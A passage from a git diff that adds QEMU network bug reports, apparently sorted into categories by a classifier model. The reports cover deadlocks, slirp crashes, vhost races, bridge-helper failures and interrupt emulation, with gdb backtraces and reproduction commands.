1c8611c2-a18a-4b1c-b40b-9d82040eafa4 -smbios type=1,manufacturer=IaaS -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=31,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot menu=on,strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x3 -drive file=/opt/vol/sas/fb0c7c37-13e7-41fe-b3f8-f0fbaaeec7ce,format=qcow2,if=none,id=drive-virtio-disk0,cache=writeback -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x5,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1,write-cache=on -drive file=/opt/vol/sas/bde66671-536d-49cd-8b46-a4f1ea7be513,format=qcow2,if=none,id=drive-virtio-disk1,cache=writeback -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=drive-virtio-disk1,id=virtio-disk1,write-cache=on -netdev tap,fd=33,id=hostnet0,vhost=on,vhostfd=34 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=00:85:45:3e:d4:3a,bus=pci.0,addr=0x6 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev socket,id=charchannel0,fd=35,server,nowait -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.qemu.guest_agent.0 -device usb-tablet,id=input0,bus=usb.0,port=1 -vnc 0.0.0.0:0,password -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 -msg timestamp=on + +iscsi： +yum -y install targetcli python-rtslib +systemctl start target +systemctl enable target + +targetcli /iscsi create iqn.2019-01.com.iaas + +targetcli /iscsi/iqn.2019-01.com.iaas/tpg1 set attribute authentication=0 demo_mode_write_protect=0 generate_node_acls=1 + +targetcli /iscsi/iqn.2019-01.com.iaas/tpg1/portals create 192.168.1.100 3260 +targetcli /backstores/fileio create testfile1 /backup/file1 2G +targetcli /iscsi/iqn.2019-01.com.iaas/tpg1/luns create /backstores/fileio/testfile1 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1817865 b/results/classifier/gemma3:12b/network/1817865 new file mode 100644 index 000000000..55850fca6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1817865 @@ -0,0 +1,67 @@ + +sorecvfrom freezes guest + +QEMU release 3.1.0; Guest running win10. + +The deadlock happens in prepare_mmio_access call when the guest is trying to read MMIO address 0xFEBC00C0. This address belongs to "Intel(R) PRO/1000 MT Network Connection" as shown in Windows 10 device manager. A quick analysis has shown that in prepare_mmio_access call: + +static bool prepare_mmio_access(MemoryRegion *mr) +{ + bool unlocked = !qemu_mutex_iothread_locked(); + bool release_lock = false; + + if (unlocked && mr->global_locking) { + qemu_mutex_lock_iothread(); +... + +"qemu_mutex_iothread_locked()" and "qemu_mutex_lock_iothread()" are not atomic operation, so the global mutex could become locked by "util/main-loop.c" (line = 236) after "qemu_mutex_iothread_locked()" is called. + +GDB backtrace analysis as following: + +(gdb) thread 9 +[Switching to thread 9 (Thread 0x7fffe6b7c700 (LWP 14405))] +#0 __lll_lock_wait () at ../sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:103 +103 ../sysdeps/unix/sysv/linux/x86_64/lowlevellock.S: No such file or directory. +(gdb) bt +#0 __lll_lock_wait () at ../sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:103 +#1 0x00007ffff748c714 in __GI___pthread_mutex_lock (mutex=0x555556518340 <qemu_global_mutex>) at ../nptl/pthread_mutex_lock.c:80 +#2 0x0000555555d8ae7b in qemu_mutex_lock_impl (mutex=0x555556518340 <qemu_global_mutex>, + file=0x555555e7a298 "/home/vic/Projects/tc-qemu/exec.c", line=3197) at util/qemu-thread-posix.c:66 +#3 0x000055555584cf66 in qemu_mutex_lock_iothread_impl (file=0x555555e7a298 "/home/vic/Projects/tc-qemu/exec.c", line=3197) + at /home/vic/Projects/tc-qemu/cpus.c:1849 +#4 0x0000555555804ccc in prepare_mmio_access (mr=0x5555575b9000) at /home/vic/Projects/tc-qemu/exec.c:3197 +#5 0x0000555555804f90 in flatview_read_continue (fv=0x7fffd86f2390, addr=4273733824, attrs=..., buf=0x7ffff7fcc028 "ۜ/o", len=4, + addr1=192, l=4, mr=0x5555575b9000) at /home/vic/Projects/tc-qemu/exec.c:3292 +#6 0x0000555555805136 in flatview_read (fv=0x7fffd86f2390, addr=4273733824, attrs=..., buf=0x7ffff7fcc028 "ۜ/o", len=4) + at /home/vic/Projects/tc-qemu/exec.c:3332 +#7 0x00005555558051aa in address_space_read_full (as=0x555556517bc0 <address_space_memory>, addr=4273733824, attrs=..., + buf=0x7ffff7fcc028 "ۜ/o", len=4) at /home/vic/Projects/tc-qemu/exec.c:3345 +#8 0x0000555555805281 in address_space_rw (as=0x555556517bc0 <address_space_memory>, addr=4273733824, attrs=..., + buf=0x7ffff7fcc028 "ۜ/o", len=4, is_write=false) at /home/vic/Projects/tc-qemu/exec.c:3375 +#9 0x0000555555886199 in kvm_cpu_exec (cpu=0x5555566d1800) at /home/vic/Projects/tc-qemu/accel/kvm/kvm-all.c:2031 +#10 0x000055555584c001 in qemu_kvm_cpu_thread_fn (arg=0x5555566d1800) at /home/vic/Projects/tc-qemu/cpus.c:1281 +#11 0x0000555555d8b9f7 in qemu_thread_start (args=0x5555566f3c00) at util/qemu-thread-posix.c:498 +#12 0x00007ffff7489fa3 in start_thread (arg=<optimized out>) at pthread_create.c:486 +#13 0x00007ffff73ba80f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +(gdb) f 2 +#2 0x0000555555d8ae7b in qemu_mutex_lock_impl (mutex=0x555556518340 <qemu_global_mutex>, + file=0x555555e7a298 "/home/vic/Projects/tc-qemu/exec.c", line=3197) at util/qemu-thread-posix.c:66 +66 err = pthread_mutex_lock(&mutex->lock); +(gdb) p mutex +$1 = (QemuMutex *) 0x555556518340 <qemu_global_mutex> +(gdb) p *mutex +$2 = {lock = pthread_mutex_t = {Type = Normal, Status = Acquired, possibly with waiters, Owner ID = 14393, Robust = No, Shared = No, + Protocol = None}, file = 0x555555fc2a64 "util/main-loop.c", line = 236, initialized = true} +(gdb) thread 1 +[Switching to thread 1 (Thread 0x7ffff495cc00 (LWP 14393))] +#0 0x00007ffff7493832 in __libc_recvfrom (fd=147, buf=0x7fffd81ce0cc, len=1500, flags=0, addr=..., addrlen=0x7fffffffd9a8) + at ../sysdeps/unix/sysv/linux/recvfrom.c:27 +27 ../sysdeps/unix/sysv/linux/recvfrom.c: No such file or directory. +(gdb) bt +#0 0x00007ffff7493832 in __libc_recvfrom (fd=147, buf=0x7fffd81ce0cc, len=1500, flags=0, addr=..., addrlen=0x7fffffffd9a8) + at ../sysdeps/unix/sysv/linux/recvfrom.c:27 +#1 0x0000555555c18bf3 in sorecvfrom (so=0x7fffd818fe60) at slirp/socket.c:584 +#2 0x0000555555c146f9 in slirp_pollfds_poll (pollfds=0x555556655470, select_error=0) at slirp/slirp.c:753 +#3 0x0000555555d8675b in main_loop_wait (nonblocking=0) at util/main-loop.c:498 +#4 0x00005555559d2194 in main_loop () at vl.c:1893 +#5 0x00005555559d9d93 in main (argc=16, argv=0x7fffffffdff8, envp=0x7fffffffe080) at vl.c:4692 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1818880 b/results/classifier/gemma3:12b/network/1818880 new file mode 100644 index 000000000..e7f01563f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1818880 @@ -0,0 +1,31 @@ + +Deadlock when detaching network interface + +[Impact] +Qemu guests hang indefinitely + +[Description] +When running a Qemu guest with VirtIO network interfaces, detaching an interface that's currently being used can result in a deadlock. The guest instance will hang and become unresponsive to commands, and the only option is to kill -9 the instance. +The reason for this is a dealock between a monitor and an RCU thread, which will fight over the BQL (qemu_global_mutex) and the critical RCU section locks. The monitor thread will acquire the BQL for detaching the network interface, and fire up a helper thread to deal with detaching the network adapter. That new thread needs to wait on the RCU thread to complete the deletion, but the RCU thread wants the BQL to commit its transactions. +This bug is already fixed upstream (73c6e4013b4c rcu: completely disable pthread_atfork callbacks as soon as possible) and included for other series (see below), so we don't need to backport it to Bionic onwards. + +Upstream commit: https://git.qemu.org/?p=qemu.git;a=commit;h=73c6e4013b4c + +$ git describe --contains 73c6e4013b4c +v2.10.0-rc2~1^2~8 + +$ rmadison qemu +===> qemu | 1:2.5+dfsg-5ubuntu10.34 | xenial-updates/universe | amd64, ... + qemu | 1:2.11+dfsg-1ubuntu7 | bionic/universe | amd64, ... + qemu | 1:2.12+dfsg-3ubuntu8 | cosmic/universe | amd64, ... + qemu | 1:3.1+dfsg-2ubuntu2 | disco/universe | amd64, ... + +[Test Case] +Being a racing condition, this is a tricky bug to reproduce consistently. We've had reports of users running into this with OpenStack deployments and Windows Server guests, and the scenario is usually like this: +1) Deploy a 16vCPU Windows Server 2012 R2 guest with a virtio network interface +2) Stress the network interface with e.g. Windows HLK test suite or similar +3) Repeatedly attach/detach the network adapter that's in use +It usually takes more than ~4000 attach/detach cycles to trigger the bug. + +[Regression Potential] +Regressions for this might arise from the fact that the fix changes RCU lock code. Since this patch has been upstream and in other series for a while, it's unlikely that it would regressions in RCU code specifically. Other code that makes use of the RCU locks (MMIO and some monitor events) will be thoroughly tested for any regressions with autokpkgtest and scripted Qemu runs. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1819108 b/results/classifier/gemma3:12b/network/1819108 new file mode 100644 index 000000000..6a65919af --- /dev/null +++ b/results/classifier/gemma3:12b/network/1819108 @@ -0,0 +1,31 @@ + +qemu-bridge-helper failure but qemu not exit + +When qemu-bridge-helper run failed, its parent process qemu is still alive. +This is my command line: + +qemu-system-x86_64 -curses -enable-kvm -cpu host -smp 4 -m 4096 \ + -vnc :1 \ + -kernel /data/xugang_vms/boot/vmlinuz \ + -initrd /data/xugang_vms/boot/initram \ + -append 'module_blacklist=drm,evbug net.ifnames=0 biosdevname=0 ROOTDEV=rootfs' \ + -drive file=/data/xugang_vms/instances/vn7/rootfs.img,format=qcow2,if=virtio \ + -monitor unix:/data/xugang_vms/var/monitor/vn7.sock,server,nowait \ + -netdev bridge,br=vmbr99,helper="/root/bridgehelper --ns=kvm_1 ",id=n1 -device virtio-net,netdev=n1,mac=92:99:98:76:01:07 + +"/root/bridgehelper" is self defined helper binary by me. But after bridge-helper exited with failure(not send fd to qemu process yet), the linux vm's console will be messed up. I checked the qemu source code(at net/tap.c) and found following snip: + +===> +do { + fd = recv_fd(sv[0]); + } while (fd == -1 && errno == EINTR); + saved_errno = errno; + + close(sv[0]); + + while (waitpid(pid, &status, 0) != pid) { + /* loop */ + } +<========= + +why recv_fd will infinitely wait for recv? Maybe it shall waitpid and then recv_fd ? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1823458 b/results/classifier/gemma3:12b/network/1823458 new file mode 100644 index 000000000..4fd9cb7ee --- /dev/null +++ b/results/classifier/gemma3:12b/network/1823458 @@ -0,0 +1,42 @@ + +race condition between vhost_net_stop and CHR_EVENT_CLOSED on shutdown crashes qemu + +[impact] + +on shutdown of a guest, there is a race condition that results in qemu crashing instead of normally shutting down. The bt looks similar to this (depending on the specific version of qemu, of course; this is taken from 2.5 version of qemu): + +(gdb) bt +#0 __GI___pthread_mutex_lock (mutex=0x0) at ../nptl/pthread_mutex_lock.c:66 +#1 0x00005636c0bc4389 in qemu_mutex_lock (mutex=mutex@entry=0x0) at /build/qemu-7I4i1R/qemu-2.5+dfsg/util/qemu-thread-posix.c:73 +#2 0x00005636c0988130 in qemu_chr_fe_write_all (s=s@entry=0x0, buf=buf@entry=0x7ffe65c086a0 "\v", len=len@entry=20) at /build/qemu-7I4i1R/qemu-2.5+dfsg/qemu-char.c:205 +#3 0x00005636c08f3483 in vhost_user_write (msg=msg@entry=0x7ffe65c086a0, fds=fds@entry=0x0, fd_num=fd_num@entry=0, dev=0x5636c1bf6b70, dev=0x5636c1bf6b70) + at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/virtio/vhost-user.c:195 +#4 0x00005636c08f411c in vhost_user_get_vring_base (dev=0x5636c1bf6b70, ring=0x7ffe65c087e0) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/virtio/vhost-user.c:364 +#5 0x00005636c08efff0 in vhost_virtqueue_stop (dev=dev@entry=0x5636c1bf6b70, vdev=vdev@entry=0x5636c2853338, vq=0x5636c1bf6d00, idx=1) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/virtio/vhost.c:895 +#6 0x00005636c08f2944 in vhost_dev_stop (hdev=hdev@entry=0x5636c1bf6b70, vdev=vdev@entry=0x5636c2853338) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/virtio/vhost.c:1262 +#7 0x00005636c08db2a8 in vhost_net_stop_one (net=0x5636c1bf6b70, dev=dev@entry=0x5636c2853338) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/net/vhost_net.c:293 +#8 0x00005636c08dbe5b in vhost_net_stop (dev=dev@entry=0x5636c2853338, ncs=0x5636c209d110, total_queues=total_queues@entry=1) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/net/vhost_net.c:371 +#9 0x00005636c08d7745 in virtio_net_vhost_status (status=7 '\a', n=0x5636c2853338) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/net/virtio-net.c:150 +#10 virtio_net_set_status (vdev=<optimized out>, status=<optimized out>) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/net/virtio-net.c:162 +#11 0x00005636c08ec42c in virtio_set_status (vdev=0x5636c2853338, val=<optimized out>) at /build/qemu-7I4i1R/qemu-2.5+dfsg/hw/virtio/virtio.c:624 +#12 0x00005636c098fed2 in vm_state_notify (running=running@entry=0, state=state@entry=RUN_STATE_SHUTDOWN) at /build/qemu-7I4i1R/qemu-2.5+dfsg/vl.c:1605 +#13 0x00005636c089172a in do_vm_stop (state=RUN_STATE_SHUTDOWN) at /build/qemu-7I4i1R/qemu-2.5+dfsg/cpus.c:724 +#14 vm_stop (state=RUN_STATE_SHUTDOWN) at /build/qemu-7I4i1R/qemu-2.5+dfsg/cpus.c:1407 +#15 0x00005636c085d240 in main_loop_should_exit () at /build/qemu-7I4i1R/qemu-2.5+dfsg/vl.c:1883 +#16 main_loop () at /build/qemu-7I4i1R/qemu-2.5+dfsg/vl.c:1931 +#17 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at /build/qemu-7I4i1R/qemu-2.5+dfsg/vl.c:4683 + + +[test case] + +unfortunately since this is a race condition, it's very hard to arbitrarily reproduce; it depends very much on the overall configuration of the guest as well as how exactly it's shut down - specifically, its vhost user net must be closed from the host side at a specific time during qemu shutdown. + +I have someone with such a setup who has reported to me their setup is able to reproduce this reliably, but the config is too complex for me to reproduce so I have relied on their reproduction and testing to debug and craft the patch for this. + +[regression potential] + +the change adds flags to prevent repeated calls to both vhost_net_stop() and vhost_net_cleanup() (really, prevents repeated calls to vhost_dev_cleanup()). Any regression would be seen when stopping and/or cleaning up a vhost net. Regressions might include failure to hot-remove a vhost net from a guest, or failure to cleanup (i.e. mem leak), or crashes during cleanup or stopping a vhost net. + +[other info] + +this was originally seen in the 2.5 version of qemu - specifically, the UCA version in trusty-mitaka (which uses the xenial qemu codebase). However, this appears to still apply upstream, and I am sending a patch to the qemu list to patch upstream as well. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1824331 b/results/classifier/gemma3:12b/network/1824331 new file mode 100644 index 000000000..06a66a960 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1824331 @@ -0,0 +1,65 @@ + +Qemu Crashes + +A high volume of communication (UDPv4) between the host and Qemu causes it to crash. +Qemu version: 2.11.1 +Ubuntu 18.04.1 LTS + +I attached GDB to the Qemu but wasn't able to get the debug symbols working. +Some more assistance with how to get this working is appreciated (I am new to all of this). + +I recorded two different situations where it happened. Both seem to be related to the network. + +#0 0x00007fa065fb6e97 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007fa065fb8801 in __GI_abort () at abort.c:79 +#2 0x00007fa066001897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fa06612eb9a "%s\n") at ../sysdeps/posix/libc_fatal.c:181 +#3 0x00007fa06600890a in malloc_printerr (str=str@entry=0x7fa06612ccba "corrupted double-linked list") at malloc.c:5350 +#4 0x00007fa066008ac4 in malloc_consolidate (av=av@entry=0x7fa04c000020) at malloc.c:4456 +#5 0x00007fa06600c7d8 in _int_malloc (av=av@entry=0x7fa04c000020, bytes=bytes@entry=8192) at malloc.c:3703 +#6 0x00007fa06600f2ed in __GI___libc_malloc (bytes=8192) at malloc.c:3065 +#7 0x0000555c8d2edee8 in sbreserve () +#8 0x0000555c8d2f06f9 in tcp_input () +#9 0x0000555c8d2ec990 in slirp_input () +#10 0x0000555c8d2dc760 in () +#11 0x0000555c8d2d453d in qemu_deliver_packet_iov () +#12 0x0000555c8d2d7392 in qemu_net_queue_send () +#13 0x0000555c8d2d46f6 in () +#14 0x0000555c8d21e4e6 in () +#15 0x0000555c8d21f7ab in () +#16 0x0000555c8d21fc30 in () +#17 0x0000555c8d056b68 in () +#18 0x0000555c8d053ffe in () +#19 0x0000555c8d058ae7 in memory_region_dispatch_write () +#20 0x0000555c8d014d3e in () +#21 0x0000555c8d0677d8 in kvm_cpu_exec () +#22 0x0000555c8d044404 in () +#23 0x00007fa0663706db in start_thread (arg=0x7fa056ffd700) at pthread_create.c:463 +#24 0x00007fa06609988f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + + +#0 0x00007f6b3b8f4e97 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007f6b3b8f6801 in __GI_abort () at abort.c:79 +#2 0x00007f6b3b93f897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f6b3ba6cb9a "%s\n") at ../sysdeps/posix/libc_fatal.c:181 +#3 0x00007f6b3b94690a in malloc_printerr (str=str@entry=0x7f6b3ba6aed3 "realloc(): invalid next size") at malloc.c:5350 +#4 0x00007f6b3b94b9b4 in _int_realloc (av=av@entry=0x7f6b1c000020, oldp=oldp@entry=0x7f6b1c03d8a0, oldsize=oldsize@entry=38560, nb=nb@entry=40032) at malloc.c:4534 +#5 0x00007f6b3b94ef9b in __GI___libc_realloc (oldmem=0x7f6b1c03d8b0, bytes=40024) at malloc.c:3230 +#6 0x00007f6b3c6d5ae0 in g_realloc () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#7 0x000055dd0f5e6f50 in () +#8 0x000055dd0f5e7238 in m_cat () +#9 0x000055dd0f5e44f1 in ip_input () +#10 0x000055dd0f5e6990 in slirp_input () +#11 0x000055dd0f5d6760 in () +#12 0x000055dd0f5ce53d in qemu_deliver_packet_iov () +#13 0x000055dd0f5d1392 in qemu_net_queue_send () +#14 0x000055dd0f5ce6f6 in () +#15 0x000055dd0f5184e6 in () +#16 0x000055dd0f5197ab in () +#17 0x000055dd0f519c30 in () +#18 0x000055dd0f350b68 in () +#19 0x000055dd0f34dffe in () +#20 0x000055dd0f352ae7 in memory_region_dispatch_write () +#21 0x000055dd0f30ed3e in () +#22 0x000055dd0f3617d8 in kvm_cpu_exec () +#23 0x000055dd0f33e404 in () +#24 0x00007f6b3bcae6db in start_thread (arg=0x7f6b30f17700) at pthread_create.c:463 +#25 0x00007f6b3b9d788f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1824622 b/results/classifier/gemma3:12b/network/1824622 new file mode 100644 index 000000000..1468496ba --- /dev/null +++ b/results/classifier/gemma3:12b/network/1824622 @@ -0,0 +1,11 @@ + +Qemu 4.0.0-rc3 COLO Primary Crashes with "Assertion `event_unhandled_count > 0' failed." + +Hello Everyone, +Now with Qemu 4.0.0-rc3, COLO is finally working so I gave it a try, but the Primary is always crashing during Network use. Typing fast in ssh or running "top" with 0.1 second delay (change with 'd') reliably trigger the crash for me. I use the attached scripts to run Qemu, in my case both primary and secondary run on the same Host for testing purposes. See the files in the attached .tar.bz2 for more Info, they also contain a Coredump. + +Regards, +Lukas Straub + +Configure CMDline: +./configure --target-list=x86_64-softmmu,i386-softmmu --enable-debug-info \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1832877 b/results/classifier/gemma3:12b/network/1832877 new file mode 100644 index 000000000..4483e3a65 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1832877 @@ -0,0 +1,30 @@ + +qemu-bridge-helper undocumented and broken + +qemu output: + +access denied by acl file +qemu-system-ppc64: bridge helper failed + +Option description: + + -netdev bridge,id=id[,br=bridge][,helper=helper] + Connect a host TAP network interface to a host bridge device. + + Use the network helper helper to configure the TAP interface and attach it to the bridge. The default network + helper executable is /path/to/qemu-bridge-helper and the default bridge device is br0. + + Examples: + + #launch a QEMU instance with the default network helper to + #connect a TAP device to bridge br0 + qemu-system-i386 linux.img -netdev bridge,id=n1 -device virtio-net,netdev=n1 + + + + #launch a QEMU instance with the default network helper to + #connect a TAP device to bridge qemubr0 + qemu-system-i386 linux.img -netdev bridge,br=qemubr0,id=n1 -device virtio-net,netdev=n1 + + +What is the acl file? What is the interface to qemu-bridge-helper? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1835 b/results/classifier/gemma3:12b/network/1835 new file mode 100644 index 000000000..0e12cab2b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1835 @@ -0,0 +1,19 @@ + +IPv4 guest/outbound port forwarding not working +Description of problem: +Python http server running on the host can receive the first http request from guest and provides correct response, but the resent request gets stuck. Package couldn't be seen in `tcpdump` running on host. +Steps to reproduce: +1. Build libslirp, I am using HEAD @ master. +1. Build your QEMU with user network enabled to use slirp (`./configure -target-list=x86_64-softmmu --enable-slirp`). +1. Ran a Python server on host listening to port `6655` (`python3 -m http.server --bind :: 6655`). +1. Boot your QEMU with aforementioned QEMU command line, I am forwarding a server address to host's local address `guestfwd=tcp:10.0.2.100:6657-tcp:127.0.0.1:6655`. For image, I am using a ordinary Fedora 38 workstation live cdrom. +1. In your guest OS (emulated enviroment), open a terminal and run `curl http://10.0.2.100:6657`, this sends a http get to the +slirp outbound forwarding server. You should see the Python http server gets the request and provides correct response `::ffff:127.0.0.1 - - [17/Aug/2023 18:24:34] "GET / HTTP/1.1" 200 -`, nothing but just `ls` the directory. +5. Repeat step 4, you will see the `curl` command gets stuck. +Additional information: +I've added a .pacp capturing line in QEMU command line and investigated it via Wireshark, noticed the slirp gets the http get, but after that being stuck in some place, I saw the guest sending keep alive request to slirp, so I think this could be something in the QEMU side. + + + + + diff --git a/results/classifier/gemma3:12b/network/1837094 b/results/classifier/gemma3:12b/network/1837094 new file mode 100644 index 000000000..603dc055e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1837094 @@ -0,0 +1,15 @@ + +UndefinedBehaviorSanitizer crash around slirp::ip_reass() + +tag: v4.1.0-rc1 + +./configure --enable-sanitizers --extra-cflags=-O1 + +==26130==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000008 (pc 0x00000046d588 bp 0x7fff6ee9f940 sp 0x7fff6ee9f8e8 T26130) +==26130==The signal is caused by a WRITE memory access. +==26130==Hint: address points to the zero page. + #0 0x0000561ad346d587 in ip_deq() at slirp/src/ip_input.c:411:55 + #1 0x0000561ad346cffb in ip_reass() at slirp/src/ip_input.c:304:9 + #2 0x0000561ad346cb6f in ip_input() at slirp/src/ip_input.c:184:18 + +I only had access to the last packet which isn't the culprit, I'm now seeing how to log the network traffic of the guest to provide more useful information. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1837651 b/results/classifier/gemma3:12b/network/1837651 new file mode 100644 index 000000000..a749ed835 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1837651 @@ -0,0 +1,16 @@ + +-netdev socket uses 100% cpu on Windows host + +On Windows hosts, any `-netdev socket` option (tcp listen, tcp connect, udp passing a fd) causes qemu to use 100% cpu. The guest still runs, but only sluggishly. + +A simple testcase is: + +> qemu-system-i386.exe -netdev socket,listen=:8000,id=n + +And, in another command prompt: + +> echo foo | nc.exe localhost 8000 + +Where nc.exe is netcat. + +Tested on qemu 3.1 (from https://qemu.weilnetz.de/w64/) and 4.0 (self compiled). \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1837909 b/results/classifier/gemma3:12b/network/1837909 new file mode 100644 index 000000000..86f57053b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1837909 @@ -0,0 +1,34 @@ + +test-char fails if host has no network interfaces + +# ./tests/test-char +# random seed: R02S8602535bf831a74bca571d8c416d8161 +1..34 +# Start of char tests +... +ok 12 /char/websocket +# Start of stdio tests +# End of stdio tests +# Start of socket tests +# Start of server tests +# Start of mainloop tests +Unexpected error in inet_parse_connect_saddr() at util/qemu-sockets.c:421: +# +# address resolution failed for 127.0.0.1:42275: Name or service not known +# + +Aborted (core dumped) + + +# ip a +1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever + + +This seems to be related to use of AI_ADDRCONFIG in qemu-sockets.c inet_parse_connect_saddr, dropping it fixes the test. 'man getaddrinfo' makes it sound like AI_ADDRCONFIG requires the host to have a non-loopback ipv4 or ipv6 address available + +This host setup may seem niche, but it is what the 'mock' RPM build tool has by default. In Fedora we run the test suite during the RPM build, so the failing test causes a bit of pain for certain workflows \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1838228 b/results/classifier/gemma3:12b/network/1838228 new file mode 100644 index 000000000..865e6f692 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1838228 @@ -0,0 +1,19 @@ + +Slirp Broadcast traffic + +Hi all, + +Version: QEMU emulator version 3.1.0 (Debian 1:3.1+dfsg-7+build1) + +I'm running some DHCP traffic to a *custom* DHCP server with user-mode networking in QEMU. I'm using port 30067 for the server, so this does not conflict with the built-in DHCP server. + +DHCP broadcasts to and from the server, and I'm observing issues with both sending and receiving packets. + +Firstly, from the VM, a packet sent to IPv4 x.x.x.2:30067 (gateway) makes it to the server, but a packet sent to 255.255.255.255 does not. I'd suspect that Slirp has to support sending to the broadcast IP address? Or is this something I can turn on with a configuration option? (My QEMU version too old?) + +Secondly, the source address in a DHCP IPv4 packet must be 0.0.0.0 (by RFC). That means that any return packet will have 0.0.0.0 swapped in as its destination address. However, that packet doesn't make it into the VM at all. I know that if you deliver this packet to Linux, a raw socket will spit it back out. The packets' destination address should not prevent the packet from being delivered to the right VM, since Slirp (should?) know exactly which VM the session belongs to. (It's a proxy, not a router.) + +WDYT? Did I miss some configuration options or use too old a version? + +Thanks, +Chris \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1838763 b/results/classifier/gemma3:12b/network/1838763 new file mode 100644 index 000000000..a0f1eee64 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1838763 @@ -0,0 +1,4 @@ + +Bugs in SSH module (ssh.c) + +I installed gcc-8&libssh* on my Ubuntu 18.04 arm64.When I was compiling any version of qemu like 3.1.0 4.0.0or 4.1.0 with SSH support,the GCC went wrong.It said some vars undeclared like'SSH_KNOWN_HOSTS_OTHER','SSH_KNOWN_HOST_UNKNOWN',etc. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1839367 b/results/classifier/gemma3:12b/network/1839367 new file mode 100644 index 000000000..70e2b9b4a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1839367 @@ -0,0 +1,34 @@ + +Wrong interrupts generated for I.MX6 FEC controller + +The imx_eth_update function in hw/net/imx_fec.c has the following comment (https://github.com/qemu/qemu/blob/864ab314f1d924129d06ac7b571f105a2b76a4b2/hw/net/imx_fec.c#L421-L445): + + /* + * Previous versions of qemu had the ENET_INT_MAC and ENET_INT_MAC + * interrupts swapped. This worked with older versions of Linux (4.14 + * and older) since Linux associated both interrupt lines with Ethernet + * MAC interrupts. Specifically, + * - Linux 4.15 and later have separate interrupt handlers for the MAC and + * timer interrupts. Those versions of Linux fail with versions of QEMU + * with swapped interrupt assignments. + * - In linux 4.14, both interrupt lines were registered with the Ethernet + * MAC interrupt handler. As a result, all versions of qemu happen to + * work, though that is accidental. + * - In Linux 4.9 and older, the timer interrupt was registered directly + * with the Ethernet MAC interrupt handler. The MAC interrupt was + * redirected to a GPIO interrupt to work around erratum ERR006687. + * This was implemented using the SOC's IOMUX block. In qemu, this GPIO + * interrupt never fired since IOMUX is currently not supported in qemu. + * Linux instead received MAC interrupts on the timer interrupt. + * As a result, qemu versions with the swapped interrupt assignment work, + * albeit accidentally, but qemu versions with the correct interrupt + * assignment fail. + * + * To ensure that all versions of Linux work, generate ENET_INT_MAC + * interrrupts on both interrupt lines. This should be changed if and when + * qemu supports IOMUX. + */ + +Unfortunately, this behavior causes the QNX Sabrelite BSP (http://blackberry.qnx.com/en/developers/bsp) to hang on ethernet initialization. This is caused by the fact that QEMU is firing the ENET_INT_TS_TIMER timer interrupt unexpectedly (when the ENET_INT_MAC flag is set). The BSP functions correctly on the actual hardware, but it is unable to handle the deliberately incorrect interrupt firing by QEMU. + +From reading the comment, it appears that this behavior is necessary to support certain versions of Linux. However, it would be very useful to be able to restore the correct interrupt behavior (possibly via a command-line flag). \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1840646 b/results/classifier/gemma3:12b/network/1840646 new file mode 100644 index 000000000..ec16bd64e --- /dev/null +++ 